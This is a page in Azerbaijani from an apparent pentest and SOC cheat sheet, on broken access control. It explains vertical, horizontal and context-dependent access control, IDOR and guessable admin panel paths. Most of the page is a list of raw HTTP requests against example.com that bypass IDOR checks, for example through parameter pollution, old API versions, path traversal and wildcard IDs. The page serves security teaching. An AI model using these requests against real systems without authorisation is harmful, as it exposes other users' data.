Pentest və SOC Cheat Sheet
  • Reconnaissance
  • Post-Explotation
    • Linux Post-Explotation
      • Linux Local Enumeration
      • Linux Privilege Escalation
      • Dumping and cracking hashes on Linux
      • Linux Persistence
    • Windows Post-Explotation
      • Windows Local Enumeration
      • Windows Privilege Escalation
      • Windows Persistence
  • Network Services Pentesting
    • 21-Pentesting FTP
    • 22-Pentesting SSH
    • 23-Pentesting Telnet
    • 53-Pentesting DNS
    • 25,465,587-Pentesting SMTP
    • 110,995-Pentesting POP
    • 139,445-Pentesting SMB
    • 3306-Pentesting MySQL
    • 3389-Pentesting RDP
    • 1433-Pentesting MSSQL-Microsoft SQL Server
    • 389,636,3268,3269-Pentesting LDAP
  • Web Pentesting
    • Broken Access Control
      • Praktiki nümunə
    • OS Command Injection
      • Praktiki nümunə
    • SQL Injection
      • Praktiki nümunə
    • Cross-Site-Scripting (XSS)
      • Praktiki nümunə
    • File Upload
      • Praktiki nümunə
    • Directory Traversal və Path Traversal
      • Praktiki nümunə
    • CSRF
    • XXE
    • Clickjacking
      • Praktiki nümunə
    • SSRF
      • Praktiki nümunə
    • JWT (Json Web Token)
      • Praktiki nümunə
    • Local&Remote File İnclusion
      • Praktiki nümunə
      • Local File inclusion ilə reverse shell almaq
    • 401&403 Bypass
    • Login Bypass
    • Open Redirect
    • Unicode Injection
    • Security Misconfiguration
    • CRLF injection
    • LDAP Injection
    • Cookies Hacking
    • Cross site WebSocket hijacking (CSWSH)
    • SSTI (Server Side Template Injection)
    • CSTI (Client Side Template Injection)
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Hücumları
    • Reverse Tab Nabbing
    • Web Tool - WFuzz
    • XPATH enjeksiyonu
    • Server-Side Includes (SSI) Injection
    • Edge Side Inclusion Injection (ESII)
    • Race Condition
    • PostMessage
    • Parameter Pollution
    • Cache Poisoning and Cache Deception
    • Captcha Bypass
  • AD Pentesting
    • Domain Enumeration
      • PowerView ilə enumeration
      • AD Module ilə enumeration
      • BloodHound ilə enumeration
        • On Site BloodHound
      • Using Adalanche
        • Remote adalanche
      • Useful Enumeration Tools
    • Local Privilege Escalation
      • Useful Local Priv Esc Tools
      • UAC Bypass
    • Lateral Movement
      • Powershell Remoting
      • Mimikatz
      • Remote Desktop Protocol
      • URL File Attacks
      • Useful Tools
    • Domain Privilege Escalation
      • Kerberoast
      • ASREPRoast
      • Password Spray Attack
      • Force Set SPN
      • Abusing Shadow Copies
      • List and Decrypt Stored Credentials using Mimikatz
      • Unconstrained Delegation
      • Constrained Delegation
      • Resource Based Constrained Delegation
      • DNSAdmins Abuse
      • Abusing Active Directory-Integraded DNS (ADIDNS) poisoning
      • Abusing Backup Operators Group
      • SID History Abuse
      • Active Directory Certificate Services
    • Domain Persistence
      • Golden Ticket Attack
      • Silver Ticket Attack
      • Skeleton Key Attack
      • DSRM Abuse
      • DCsync Attack
    • Cross Forest Attacks
      • Trust Tickets
      • Abuse MSSQL Servers
      • Breaking Forest Trusts
  • SOC - Cheat Sheet
    • SOC Nədir?
    • SOC Komponentləri Nələrdir?
    • SOC Checklist
    • SIEM
      • Splunk Qurulması və Konfiqurasiyası
    • IDS/IPS
    • Firewall
    • Firewall qurulması və konfiqurasiyası
    • EDR/XDR
    • SOAR
    • Windows Commands for SOC analysts
      • GUI Programs in Windows
      • Event Viewer
      • Task Scheduler
      • Group Policy Editor
      • Device Manager
      • Task Manager
      • Registry Manager
    • Linux Commands for SOC analysts
    • LOLBAS Apps and Commands
      • Apps and Commands
Powered by GitBook
On this page
  • Access Control nədir?
  • Access Controlun növləri
  • İnsecure Direct Object Reference (lDOR)
  • IDOR nədir?
  • Bu zəiflik daha çox haralarda görülür:
  • Nümunələr:
  • Admin səhifələrinə giriş
  • Admin paneli
  • robots.txt nədir və nə üçün istifadə olunur?

Was this helpful?

  1. Web Pentesting

Broken Access Control

PreviousWeb PentestingNextPraktiki nümunə

Last updated 1 year ago

Was this helpful?

Access Control nədir?

Giriş nəzarəti kiminsə və ya nəyinsə bəzi funksiyaları yerinə yetirmək və ya resurslara daxil olmaq icazələrinə malik olduğunu tənzimləyən bir metoddur. Web tətbiqləri mövzusunda girişə nəzarət autentifikasiyadan və sessiyanın idarə edilməsindən asılıdır:

  • Autentifikasiya istifadəçinin dediyi şəxs olduğunu təsdiq edir.

  • Sessiyanın idarə edilməsi həmin istifadəçi tərəfindən növbəti hansı HTTP sorğularının edildiyini müəyyən edir.

  • Giriş nəzarəti istifadəçiyə yerinə yetirməyə çalışdığı hərəkəti yerinə yetirməyə icazə verilib-verilmədiyini müəyyən edir.

Broken Access Control ümumi haldır və çox vaxt kritik təhlükəsizlik zəifliyi yaradır. Girişə nəzarət vasitələrinin dizaynı və idarə edilməsi texniki icraya biznes, təşkilati və hüquqi məhdudiyyətləri tətbiq edən mürəkkəb və dinamik problemdir. Girişə nəzarət dizayn qərarları insanlar tərəfindən qəbul edilməlidir, belə ki, səhvlərin olma potensialı da həmçinin yüksəkdir.

Access Controlun növləri

  1. Vertical Access Control

Bizim bir sistemimizin olduğunu təsəvvür edək. Və orada adi istifadəçilərin və root istifadəçisinin olduğunu düşünək. Root istifadəçisinin imtiyazları digərlərindən daha çox və daha yüksəkdir. Digər bir sözlə root istifadəçisiç adi istifadəçilərdən 1 pillə yuxarıda dayanıb. Buna görədə bu Vertical access control adlanır. Yəni şaquli icazə kontrolu.

Əgər sistemdə olan adi istifadəçilər admin hesabına keçid edə və həmçinin onun icra etdiyi funksiyaları da yerinə yetirə bilirsə burada Broken Vertical Access Control zəifliyi vardır. Çünkü düzgün qurulmuş sistemdə adi istifadəçilər root funksiyalarını yerinə yetirə bilməməlidirlər. Bu çox ciddi zəiflik və sistemdə açıqlıq kimi qiymətləndirilir.

  1. Horizontal Access Control

Horizontal access controlda sən sistemdə olan öz səviyyəndə olan istifadəçilərin hesablarına və onların istifadə edə biləcəyi mənbələri istifadə edə bilirsən. Adındanda göründüyü kimi üfuqi səviyyədə olan bütün istifadəçilərin hesablarını ələ keçirə bilirsən. Buda web-də çox ciddi boşluq sayılır. Çünkü bu istifadəçi haqlarının və təhlükəsizliyin pozulmasına gətirib çıxarır.

  1. Context-Dependent Access Control

Bu konteksti anlamaq üçün gəlin bir dənə online alış-veriş səhifəsi təsəvvür edək. İstifadəçilər buranı istifadə edərək yeni şeylər alır və səbətə əlavə edir. Sonda ödənişi edir və məhsulu alır. Hələ ki burada problem yoxdur.

Sonra istifadəçi aldığı məhsulun sayında və yaxud məbləğində bəzi dəyişikliklər edir. O 1 məhsulun qiymətinə çox sayda həmin məhsuldan ala bilir. Buna səbəb isə Context-Dependent Access Controlun düzgün formada konfigurasiya olunmamasıdır. Bu zəiflik daha çox online satış səhifələrində rast gəlinir və ciddi açıq hesab olunur.

İnsecure Direct Object Reference (lDOR)

IDOR nədir?

IDOR, Qorunmayan Birbaşa Obyekt Referansı mənasını verir, istifadəçinin sistemdə mövcud olan hər hansı digər istifadəçinin məlumatlarına daxil ola və dəyişikliklər edə bildiyi bir təhlükəsizlik zəifliyidir. IDOR tətbiqdə istifadəçi tərəfindən daxil edilən inputlara əsasən obyektlərə birbaşa giriş təmin edildikdə baş verən təhlükəsizlik zəifliyidir. Daha sadə dillə desək, bu o deməkdir ki, təcavüzkar məlumat və ya resurslara icazəsiz giriş əldə etmək üçün URL-lər və ya form sahələri kimi input parametrlərini manipulyasiya edə bilər. Bu boşluq, tətbiqin istifadəçi sorğularını düzgün şəkildə təsdiqləməməsi və ya icazə verməməsi, təcavüzkarlara nəzərdə tutulan məhdudiyyətləri keçməyə və həssas məlumatlara daxil olmağa imkan verəndə yaranır. İDOR hücumları riskini azaltmaq və tətbiqin ümumi təhlükəsizliyini artırmaq üçün güclü giriş yoxlamasının və düzgün giriş nəzarətinin həyata keçirilməsi çox vacibdir.

Bu zəiflik daha çox haralarda görülür:

  1. Adətən onu API-lərdə tapmaq olar.

  2. Unikal ID-lər istifadə edən HTTP sorğularında, məsələn user_id və ya id

Nümunələr:

  1. Endpointlərə əlavə parametrlər əlavə edin, məsələn:

GET /api/v1/getuser HTTP/1.1
Host: example.com
...

Bypass etmək üçün bunu yoxlayın:

GET /api/v1/getuser?id=1234 HTTP/1.1
Host: example.com
...
  1. HTTP Parametrinin qarışdırılması:

POST /api/get_profile HTTP/1.1
Host: example.com
...

user_id=hacker_id&user_id=victim_id
  1. Endpointə .json əlavə edin:

GET /v2/GetData/1234 HTTP/1.1
Host: example.com
...

Bypass etmək üçün bunu yoxlayın:

GET /v2/GetData/1234.json HTTP/1.1
Host: example.com
...
  1. Köhnə API versiyalarını yoxlayın:

POST /v2/GetData HTTP/1.1
Host: example.com
...

id=123

Bypass etmək üçün bunu yoxlayın:

POST /v1/GetData HTTP/1.1
Host: example.com
...

id=123
  1. ID-ni mörtərizə içinə alın:

POST /api/get_profile HTTP/1.1
Host: example.com
...

{"user_id":111}

Bypass etmək üçün bunu yoxlayın:

POST /api/get_profile HTTP/1.1
Host: example.com
...

{"id":[111]}
  1. ID-ni JSON mörtərizəsinin içinə alın:

POST /api/get_profile HTTP/1.1
Host: example.com
...

{"user_id":111}

Bypass etmək üçün bunu yoxlayın:

POST /api/get_profile HTTP/1.1
Host: example.com
...

{"user_id":{"user_id":111}}
  1. JSON Parameterinin qarışdırılması:

POST /api/get_profile HTTP/1.1
Host: example.com
...

{"user_id":"hacker_id","user_id":"victim_id"}
  1. ID md5, base64 və s. istifadə edərək kodlaşdırılıbsa, ID kodunu deşifrə etməyə cəhd edin:

GET /GetUser/dmljdGltQG1haWwuY29t HTTP/1.1
Host: example.com
...

dmljdGltQG1haWwuY29t => [email protected]

  1. Veb sayt GraphQL-dən istifadə edirsə, GraphQL-dən istifadə edərək IDOR-u tapmağa çalışın

GET /graphql HTTP/1.1
Host: example.com
...
GET /graphql.php?query= HTTP/1.1
Host: example.com
...
  1. MFLAC (Missing Function Level Access Control):

GET /admin/profile HTTP/1.1
Host: example.com 
...

Bypass etmək üçün bunu yoxlayın:

GET /ADMIN/profile HTTP/1.1
Host: example.com
...
  1. Uuid-i nömrə ilə dəyişdirməyə çalışın:

GET /file?id=90ri2-xozifke-29ikedaw0d HTTP/1.1
Host: example.com
...

Bypass etmək üçün bunu yoxlayın:

GET /file?id=302
Host: example.com
...
  1. HTTP Methodunu dəyişin:

GET /api/v1/users/profile/111 HTTP/1.1
Host: example.com
...

Bypass etmək üçün bunu yoxlayın:

POST /api/v1/users/profile/111 HTTP/1.1
Host: example.com
...
  1. Path traversal

GET /api/v1/users/profile/victim_id HTTP/1.1
Host: example.com
...

Bypass etmək üçün bunu yoxlayın:

GET /api/v1/users/profile/my_id/../victim_id HTTP/1.1
Host: example.com
...
  1. Request formatınıContent-Typedəyişin:

GET /api/v1/users/1 HTTP/1.1
Host: example.com
Content-type: application/xml

Bypass etmək üçün bunu yoxlayın:

GET /api/v1/users/2 HTTP/1.1
Host: example.com
Content-type: application/json
  1. ID yerinə joker işarə göndərin:

GET /api/users/111 HTTP/1.1
Host: example.com

Bypass etmək üçün bunu yoxlayın:

GET /api/users/* HTTP/1.1
Host: example.com
GET /api/users/% HTTP/1.1
Host: example.com
GET /api/users/_ HTTP/1.1
Host: example.com
GET /api/users/. HTTP/1.1
Host: example.com

Admin səhifələrinə giriş

Admin paneli

Bəzi web səhifələrdə default login səhifələrindən istifadə etmək bu cür problemlərə gətirib çıxarır. Yeni bir web səhifə qurulduqda adminin giriş paneli "/admin" | "/administrator" | "web_admin" | "login_admin" tərzində olur.

Bu default dataların istifadə olunması özü çox ciddi fəsadlara gətirib çıxara bilər. Çünkü admin login page digər istifadəçilər tərəfindən asan təxmin olunan olmamalıdır. Və həmçinin o səhifəyə bir-başa giriş mümkün olmamalıdır. Belə bir hal varsa buda Broken access control zəifliyinə aid edilir.

robots.txt nədir və nə üçün istifadə olunur?

Böyük bir kitabxana kimi bir veb saytı düşünün və robots.txt faylı axtarış motorlarına kitabxananın hansı hissələrinə daxil olmağa icazə verildiyini və hansı hissələrə isə icazə verilmədiyini göstərən bir fayldır.

Veb sayt sahibləri axtarış motorlarının saytlarını necə indeksləməsinə nəzarət etmək üçün robots.txt faylından istifadə edirlər. Məsələn, onlar müəyyən səhifələri gizli saxlamaq və ya axtarış motorlarının saytın indeksləşdirilməsinə ehtiyac olmayan hissələrini taramasının qarşısını almaq istəyə bilərlər.

Sadə dillə desək, robots.txt vebsayt sahiblərinə axtarış motorlarının vebsaytlarını necə araşdırdığını və başa düşməsini idarə etməyə kömək edir, lazım gələrsə, bəzi sahələri gizli saxlamaqla düzgün məlumatın ictimaiyyətə təqdim olunmasını təmin edir.

Həmçinin çox indekslənmə olduqda sayt axtarış yerində ilk sıralarda yer alır. Buda saytın daha tez böyüməsinə və daha çox insanın qarşısına çıxmasına kömək edə bilər.